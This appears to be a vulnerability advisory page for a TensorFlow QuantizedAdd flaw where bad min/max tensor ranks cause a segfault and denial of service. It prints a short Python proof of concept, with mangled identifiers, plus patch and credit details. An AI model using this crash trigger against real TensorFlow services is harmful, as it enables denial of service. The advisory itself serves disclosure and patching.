PT-2026-59859 · Pypi · Tensorflow

Publicado

2026-07-13

·

Atualizado

2026-07-13

CVSS v3.1

5.9

Média

VetorAV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

If QuantizedAdd is given min input or max input tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.
python
import tensorflow as tf

Toutput = tf.qint32
x = tf.constant(140, shape=[1], dtype=tf.quint8)
y = tf.constant(26, shape=[10], dtype=tf.quint8)
min x = tf.constant([], shape=[0], dtype=tf.float32)
max x = tf.constant(0, shape=[], dtype=tf.float32)
min y = tf.constant(0, shape=[], dtype=tf.float32)
max y = tf.constant(0, shape=[], dtype=tf.float32)
tf.raw ops.QuantizedAdd(x=x, y=y, min x=min x, max x=max x, min y=min y, max y=max y, Toutput=Toutput)

Patches

We have patched the issue in GitHub commit 49b3824d83af706df0ad07e4e677d88659756d89.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

Correção

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Identificadores relacionados

PYSEC-2026-3244

Produtos afetados

Tensorflow